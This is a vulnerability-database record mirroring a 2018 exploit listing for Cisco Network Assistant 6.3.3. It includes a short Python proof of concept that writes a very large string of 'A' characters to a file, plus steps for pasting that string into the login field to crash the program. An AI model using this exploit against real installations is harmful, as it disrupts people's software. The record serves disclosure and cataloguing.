ID
VAR-E-201808-0405
TITLE
Cisco Network Assistant 6.3.3 - Cisco Login Denial of Service Exploit
Trust: 0.6
AFFECTED PRODUCTS
| vendor: | cisco | model: | network assistant | scope: | eq | version: | 6.3.3 | Trust: 0.6 |
EXPLOIT
# Exploit Title: Cisco Network Assistant 6.3.3 - 'Cisco Login' Denial of Service (PoC)
# Discovery by: Luis Martinez
# Vendor Homepage: https://www.cisco.com/
# Software Link : https://software.cisco.com/download/home/286277276/type/280775097/release/6.3.3
# Tested Version: 6.3.3
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 Pro x64 es
# Steps to Produce the Crash:
# 1.- Run python code : python Cisco_Network_Assistant_6.3.3.py
# 2.- Open Cisco_Network_Assistant_6.3.3.txt and copy content to clipboard
# 3.- Open Cisco Network Assistant
# 4.- Authenticate to Cisco CCO
# 5.- Paste ClipBoard on "Cisco Login"
# 6.- Crashed
#!/usr/bin/env python
buffer = "\x41" * 6900000
f = open ("Cisco_Network_Assistant_6.3.3.txt", "w")
f.write(buffer)
f.close()
Trust: 0.6
PRICE
free
Trust: 0.6
TYPE
Cisco Login Denial of Service Exploit
Trust: 0.6
EXTERNAL IDS
| db: | 0DAYTODAY | id: | 30972 | Trust: 0.6 |
| db: | EDBNET | id: | 99082 | Trust: 0.6 |
REFERENCES
| url: | https://0day.today/exploits/30972 | Trust: 0.6 |
SOURCES
| db: | EDBNET | id: | 99082 |
LAST UPDATE DATE
2022-07-27T10:00:32.669000+00:00
SOURCES RELEASE DATE
| db: | EDBNET | id: | 99082 | date: | 2018-08-28T00:00:00 |